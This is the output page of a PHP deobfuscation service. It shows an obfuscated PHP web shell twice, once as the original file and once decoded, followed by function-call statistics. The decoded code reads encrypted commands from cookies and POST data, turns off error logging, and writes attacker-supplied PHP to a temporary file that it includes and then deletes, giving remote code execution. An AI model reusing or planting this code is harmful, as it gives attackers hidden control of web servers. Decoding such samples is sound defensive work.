Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $zrqlacupfg = chr(102).'i'."\x6c".chr(333-232)."\137".chr(445-333)."\x75".'t'.chr(95..
Decoded Output download
<?php $zrqlacupfg = chr(102).'i'."l".chr(333-232)."_".chr(445-333)."u".'t'.chr(95)."c"."o"."n".'t'."e".chr(110).'t'.chr(1071-956);
$iygfu = 'b'.'a'."s"."e"."6".chr(307-255).chr(751-656).chr(100).chr(101)."c"."o"."d".chr(390-289);
$itchu = chr(105).'n'."i".'_'.chr(115)."e".chr(116);
$elzhkvwl = "u"."n"."l"."i"."n".chr(107);
@$itchu("e"."r"."r".chr(111)."r"."_".'l'."o"."g", NULL);
@$itchu(chr(849-741)."o"."g"."_".chr(196-95).chr(833-719)."r".chr(606-495).'r'."s", 0);
@$itchu("m"."a".chr(120)."_"."e".'x'."e"."c".chr(117)."t".'i'."o"."n"."_".chr(116)."i".chr(109)."e", 0);
@set_time_limit(0);
function vpqye($brtxij, $shumh)
{
$xlbymvjkp = "";
for ($wwoskn = 0; $wwoskn < strlen($brtxij);) {
for ($j = 0; $j < strlen($shumh) && $wwoskn < strlen($brtxij); $j++, $wwoskn++) {
$xlbymvjkp .= chr(ord($brtxij[$wwoskn]) ^ ord($shumh[$j]));
}
}
return $xlbymvjkp;
}
$obklvkwx = array_merge($_COOKIE, $_POST);
$fkdvj = '89c73af5-7f84-407d-8e3f-a71f558736fa';
foreach ($obklvkwx as $knargix => $brtxij) {
$brtxij = @unserialize(vpqye(vpqye($iygfu($brtxij), $fkdvj), $knargix));
if (isset($brtxij[chr(97)."k"])) {
if ($brtxij[chr(97)] == chr(825-720)) {
$wwoskn = array(
'p'.chr(622-504) => @phpversion(),
"s".chr(936-818) => "3.5",
);
echo @serialize($wwoskn);
} elseif ($brtxij[chr(97)] == chr(1082-981)) {
$edwhrhyqmg = "./" . md5($fkdvj) . ".".chr(105).'n'."c";
@$zrqlacupfg($edwhrhyqmg, "<" . "?".'p'.chr(104).chr(787-675).chr(32).'@'."u".chr(835-725).chr(530-422)."i".'n'."k"."(".chr(95)."_"."F"."I".chr(79-3).chr(69).'_'."_".chr(41).chr(641-582).chr(32) . $brtxij["d"]);
@include($edwhrhyqmg);
@$elzhkvwl($edwhrhyqmg);
}
exit();
}
}
?>
Did this file decode correctly?
Original Code
<?php $zrqlacupfg = chr(102).'i'."\x6c".chr(333-232)."\137".chr(445-333)."\x75".'t'.chr(95)."\x63"."\157"."\x6e".'t'."\145".chr(110).'t'.chr(1071-956);
$iygfu = 'b'.'a'."\x73"."\x65"."\x36".chr(307-255).chr(751-656).chr(100).chr(101)."\x63"."\157"."\x64".chr(390-289);
$itchu = chr(105).'n'."\x69".'_'.chr(115)."\x65".chr(116);
$elzhkvwl = "\x75"."\156"."\x6c"."\151"."\x6e".chr(107);
@$itchu("\x65"."\x72"."\162".chr(111)."\x72"."\x5f".'l'."\157"."\147", NULL);
@$itchu(chr(849-741)."\x6f"."\x67"."\x5f".chr(196-95).chr(833-719)."\162".chr(606-495).'r'."\x73", 0);
@$itchu("\155"."\141".chr(120)."\x5f"."\145".'x'."\x65"."\143".chr(117)."\164".'i'."\157"."\156"."\137".chr(116)."\151".chr(109)."\x65", 0);
@set_time_limit(0);
function vpqye($brtxij, $shumh)
{
$xlbymvjkp = "";
for ($wwoskn = 0; $wwoskn < strlen($brtxij);) {
for ($j = 0; $j < strlen($shumh) && $wwoskn < strlen($brtxij); $j++, $wwoskn++) {
$xlbymvjkp .= chr(ord($brtxij[$wwoskn]) ^ ord($shumh[$j]));
}
}
return $xlbymvjkp;
}
$obklvkwx = array_merge($_COOKIE, $_POST);
$fkdvj = '89c73af5-7f84-407d-8e3f-a71f558736fa';
foreach ($obklvkwx as $knargix => $brtxij) {
$brtxij = @unserialize(vpqye(vpqye($iygfu($brtxij), $fkdvj), $knargix));
if (isset($brtxij[chr(97)."\153"])) {
if ($brtxij[chr(97)] == chr(825-720)) {
$wwoskn = array(
'p'.chr(622-504) => @phpversion(),
"\163".chr(936-818) => "3.5",
);
echo @serialize($wwoskn);
} elseif ($brtxij[chr(97)] == chr(1082-981)) {
$edwhrhyqmg = "./" . md5($fkdvj) . "\x2e".chr(105).'n'."\x63";
@$zrqlacupfg($edwhrhyqmg, "<" . "\77".'p'.chr(104).chr(787-675).chr(32).'@'."\x75".chr(835-725).chr(530-422)."\x69".'n'."\153"."\50".chr(95)."\x5f"."\106"."\111".chr(79-3).chr(69).'_'."\137".chr(41).chr(641-582).chr(32) . $brtxij["\144"]);
@include($edwhrhyqmg);
@$elzhkvwl($edwhrhyqmg);
}
exit();
}
}
Function Calls
chr | 24 |
ini_set | 3 |
array_merge | 1 |
set_time_limit | 1 |
Stats
MD5 | 8cc5793d1e6108bbe92f7e72faeb13bd |
Eval Count | 0 |
Decode Time | 92 ms |